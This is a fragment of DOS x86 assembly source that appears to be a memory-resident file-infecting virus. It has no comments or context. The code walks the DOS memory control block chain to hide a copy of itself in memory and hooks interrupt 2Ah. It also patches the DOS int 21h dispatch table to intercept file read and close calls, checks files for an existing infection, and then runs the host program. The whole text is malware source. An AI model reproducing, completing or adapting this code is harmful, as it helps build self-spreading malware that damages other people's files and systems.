mov ah,52h
int 21h
mov bx,es:[bx-2]
mov ax,cs
dec ax
mcb:
mov cx,ds
mov ds,bx
inc bx
mov dx,bx
add bx,ds:[di+3]
or bp,bp
jnz not_boot
cmp ax,bx
jne not_our_mcb
add word ptr ds:[di+3],low_mem_para+1
not_our_mcb:
cmp ax,cx
jne not_boot
mov ds:[di+1],dx
mov di,8
push ds
pop es
mov si,di
mov ds,ax
mov cx,di
rep movsb
push dx
add ax,10h+1
push ax
jmp short search
not_boot:
cmp byte ptr ds:[di],4dh
je mcb
cmp byte ptr ds:[di],5ah
je mcb
mov sp,low_mem_size
sub dx,mem_para+1
mov es,dx
sub dx,cx
dec dx
mov ds,cx
mov ds:[di+3],dx
mov si,100h
mov cx,vir_size
rep movs byte ptr es:[di],cs:[si]
push es
search:
mov ax,352ah
int 21h
pop ds
push ds
mov di,offset i21_table
mov ds:old2a[di]-i21_table,bx
mov ds:old2a[di+2]-i21_table,es
mov ah,25h
mov dx,offset int2a
int 21h
mov dx,bx
push es
pop ds
int 21h
pop es
lds si,es:[di]
search_table:
lodsw
search_table_:
dec si
cmp ax,8b2eh
jne search_table
lodsw
cmp ah,9fh
jne search_table_
movsw
scasw
lea ax,[si-1e0h]
stosw
xchg si,ax
mov word ptr ds:[si],0eacbh
mov word ptr ds:[si+2],offset i21_3e
mov ds:[si+4],es
mov byte ptr ds:[si+6],0eah
mov word ptr ds:[si+7],offset i21_3f
mov ds:[si+9],es
call set21
mov cx,bp
jcxz boot
mov ds,bp
xor si,si
l2:
lodsw
dec si
or ax,ax
jnz l2
lea dx,[si+3]
mov di,offset pcb+4+100h
push cs
pop es
mov ax,cs
stosw
scasw
stosw
scasw
stosw
mov ax,4b00h
mov bx,offset pcb+100h
int 21h
mov ah,4dh
int 21h
mov ah,4ch
int 21h
boot:
pop dx
mov ah,26h
int 21h
mov bl,3
mov ss:[bp+18h+5],bl
mov ax,1216h
int 2fh
inc bp
mov es:[di],bp
mov ss,dx
mov ds,dx
mov ax,4200h
mov bl,5
cwd
int 21h
mov ah,3fh
dec cx
inc dh
int 21h
mov ah,3eh
int 21h
push ds
pop es
push ds
push dx
retf
read_cmp proc
mov cx,vir_size
mov dx,cx
push cs
pop ds
call read
jc rc_exit
push cx
xor si,si
if (vir_size and 0ff00h) eq (constant_size and 0ff00h)
mov cl,constant_size and 0ffh
else
mov cx,constant_size
endif
compare:
lodsb
cmp al,ds:read_buffer[si-1]
loope compare
clc
pop cx
rc_exit:
ret
read_cmp endp
read proc
push bx
push dx
push ds
mov ax,1229h
int 2fh
pop ds
pop dx
pop bx
ret
read endp
write proc
mov bp,40h*2
i21_func proc
pop ax
push bx
push cs
push ax
push cs
pop ds
push ds:i21_far_jmp
les di,dword ptr ds:i21_table
push es
push es:[di+bp]
retf
i21_func endp
write endp